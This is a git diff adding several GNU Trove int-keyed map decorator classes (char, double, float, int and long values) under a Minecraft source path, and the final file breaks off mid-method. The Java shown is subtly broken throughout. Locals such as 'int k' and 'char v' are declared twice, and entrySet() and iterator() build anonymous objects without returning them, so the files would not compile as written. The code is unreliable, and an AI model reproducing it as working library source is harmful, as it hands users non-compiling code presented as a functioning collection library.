+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Integer, ? extends Byte> map)
+  {
+    Iterator<? extends Map.Entry<? extends Integer, ? extends Byte>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Integer, ? extends Byte> e = (Map.Entry)it.next();
+      put((Integer)e.getKey(), (Byte)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapKey(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapKey(Object key)
+  {
+    return ((Integer)key).intValue();
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapValue(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapValue(Object value)
+  {
+    return ((Byte)value).byteValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TIntByteMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TIntCharMapDecorator.java b/src/minecraft/gnu/trove/decorator/TIntCharMapDecorator.java
new file mode 100644
index 0000000..96d8d20
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TIntCharMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TIntCharIterator;
+import gnu.trove.map.TIntCharMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntCharMapDecorator
+  extends AbstractMap<Integer, Character>
+  implements Map<Integer, Character>, Externalizable, Cloneable
+{
+  protected TIntCharMap _map;
+  
+  public TIntCharMapDecorator() {}
+  
+  public TIntCharMapDecorator(TIntCharMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TIntCharMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Character put(Integer key, Character value)
+  {
+    int k;
+    
+
+
+    int k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    char v;
+    char v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    char retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Character get(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Character remove(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Integer, Character>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TIntCharMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Integer, Character>> iterator()
+      {
+        new Iterator() {
+          private final TIntCharIterator it = _map.iterator();
+          
+          public Map.Entry<Integer, Character> next() {
+            it.advance();
+            final Integer key = wrapKey(it.key());
+            final Character v = wrapValue(it.value());
+            new Map.Entry() {
+              private Character val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Integer getKey()
+              {
+                return key;
+              }
+              
+              public Character getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Character setValue(Character value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Integer, Character> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Integer key = (Integer)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Integer, Character>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TIntCharMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Character)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Integer)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Integer, ? extends Character> map)
+  {
+    Iterator<? extends Map.Entry<? extends Integer, ? extends Character>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Integer, ? extends Character> e = (Map.Entry)it.next();
+      put((Integer)e.getKey(), (Character)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapKey(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapKey(Object key)
+  {
+    return ((Integer)key).intValue();
+  }
+  
+
+
+
+
+
+
+  protected Character wrapValue(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapValue(Object value)
+  {
+    return ((Character)value).charValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TIntCharMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TIntDoubleMapDecorator.java b/src/minecraft/gnu/trove/decorator/TIntDoubleMapDecorator.java
new file mode 100644
index 0000000..db54ee0
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TIntDoubleMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TIntDoubleIterator;
+import gnu.trove.map.TIntDoubleMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntDoubleMapDecorator
+  extends AbstractMap<Integer, Double>
+  implements Map<Integer, Double>, Externalizable, Cloneable
+{
+  protected TIntDoubleMap _map;
+  
+  public TIntDoubleMapDecorator() {}
+  
+  public TIntDoubleMapDecorator(TIntDoubleMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TIntDoubleMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Double put(Integer key, Double value)
+  {
+    int k;
+    
+
+
+    int k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    double v;
+    double v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    double retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Double get(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Double remove(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Integer, Double>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TIntDoubleMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Integer, Double>> iterator()
+      {
+        new Iterator() {
+          private final TIntDoubleIterator it = _map.iterator();
+          
+          public Map.Entry<Integer, Double> next() {
+            it.advance();
+            final Integer key = wrapKey(it.key());
+            final Double v = wrapValue(it.value());
+            new Map.Entry() {
+              private Double val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Integer getKey()
+              {
+                return key;
+              }
+              
+              public Double getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Double setValue(Double value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Integer, Double> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Integer key = (Integer)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Integer, Double>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TIntDoubleMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Double)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Integer)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Integer, ? extends Double> map)
+  {
+    Iterator<? extends Map.Entry<? extends Integer, ? extends Double>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Integer, ? extends Double> e = (Map.Entry)it.next();
+      put((Integer)e.getKey(), (Double)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapKey(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapKey(Object key)
+  {
+    return ((Integer)key).intValue();
+  }
+  
+
+
+
+
+
+
+  protected Double wrapValue(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapValue(Object value)
+  {
+    return ((Double)value).doubleValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TIntDoubleMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TIntFloatMapDecorator.java b/src/minecraft/gnu/trove/decorator/TIntFloatMapDecorator.java
new file mode 100644
index 0000000..453990a
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TIntFloatMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TIntFloatIterator;
+import gnu.trove.map.TIntFloatMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntFloatMapDecorator
+  extends AbstractMap<Integer, Float>
+  implements Map<Integer, Float>, Externalizable, Cloneable
+{
+  protected TIntFloatMap _map;
+  
+  public TIntFloatMapDecorator() {}
+  
+  public TIntFloatMapDecorator(TIntFloatMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TIntFloatMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Float put(Integer key, Float value)
+  {
+    int k;
+    
+
+
+    int k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    float v;
+    float v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    float retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Float get(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Float remove(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Integer, Float>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TIntFloatMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Integer, Float>> iterator()
+      {
+        new Iterator() {
+          private final TIntFloatIterator it = _map.iterator();
+          
+          public Map.Entry<Integer, Float> next() {
+            it.advance();
+            final Integer key = wrapKey(it.key());
+            final Float v = wrapValue(it.value());
+            new Map.Entry() {
+              private Float val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Integer getKey()
+              {
+                return key;
+              }
+              
+              public Float getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Float setValue(Float value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Integer, Float> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Integer key = (Integer)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Integer, Float>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TIntFloatMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Float)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Integer)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Integer, ? extends Float> map)
+  {
+    Iterator<? extends Map.Entry<? extends Integer, ? extends Float>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Integer, ? extends Float> e = (Map.Entry)it.next();
+      put((Integer)e.getKey(), (Float)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapKey(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapKey(Object key)
+  {
+    return ((Integer)key).intValue();
+  }
+  
+
+
+
+
+
+
+  protected Float wrapValue(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapValue(Object value)
+  {
+    return ((Float)value).floatValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TIntFloatMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TIntIntMapDecorator.java b/src/minecraft/gnu/trove/decorator/TIntIntMapDecorator.java
new file mode 100644
index 0000000..2c4202c
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TIntIntMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TIntIntIterator;
+import gnu.trove.map.TIntIntMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntIntMapDecorator
+  extends AbstractMap<Integer, Integer>
+  implements Map<Integer, Integer>, Externalizable, Cloneable
+{
+  protected TIntIntMap _map;
+  
+  public TIntIntMapDecorator() {}
+  
+  public TIntIntMapDecorator(TIntIntMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TIntIntMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Integer put(Integer key, Integer value)
+  {
+    int k;
+    
+
+
+    int k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    int v;
+    int v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    int retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Integer get(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Integer remove(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Integer, Integer>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TIntIntMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Integer, Integer>> iterator()
+      {
+        new Iterator() {
+          private final TIntIntIterator it = _map.iterator();
+          
+          public Map.Entry<Integer, Integer> next() {
+            it.advance();
+            final Integer key = wrapKey(it.key());
+            final Integer v = wrapValue(it.value());
+            new Map.Entry() {
+              private Integer val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Integer getKey()
+              {
+                return key;
+              }
+              
+              public Integer getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Integer setValue(Integer value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Integer, Integer> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Integer key = (Integer)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Integer, Integer>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TIntIntMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Integer)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Integer)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Integer, ? extends Integer> map)
+  {
+    Iterator<? extends Map.Entry<? extends Integer, ? extends Integer>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Integer, ? extends Integer> e = (Map.Entry)it.next();
+      put((Integer)e.getKey(), (Integer)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapKey(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapKey(Object key)
+  {
+    return ((Integer)key).intValue();
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapValue(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapValue(Object value)
+  {
+    return ((Integer)value).intValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TIntIntMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TIntLongMapDecorator.java b/src/minecraft/gnu/trove/decorator/TIntLongMapDecorator.java
new file mode 100644
index 0000000..76307e4
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TIntLongMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TIntLongIterator;
+import gnu.trove.map.TIntLongMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntLongMapDecorator
+  extends AbstractMap<Integer, Long>
+  implements Map<Integer, Long>, Externalizable, Cloneable
+{
+  protected TIntLongMap _map;
+  
+  public TIntLongMapDecorator() {}
+  
+  public TIntLongMapDecorator(TIntLongMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TIntLongMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Long put(Integer key, Long value)
+  {
+    int k;
+    
+
+
+    int k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    long v;
+    long v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    long retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Long get(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Long remove(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Integer, Long>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TIntLongMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Integer, Long>> iterator()
+      {
+        new Iterator() {
+          private final TIntLongIterator it = _map.iterator();
+          
+          public Map.Entry<Integer, Long> next() {
+            it.advance();
+            final Integer key = wrapKey(it.key());
+            final Long v = wrapValue(it.value());
+            new Map.Entry() {
+              private Long val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Integer getKey()
+              {
+                return key;
+              }
+              
+              public Long getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Long setValue(Long value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Integer, Long> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Integer key = (Integer)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
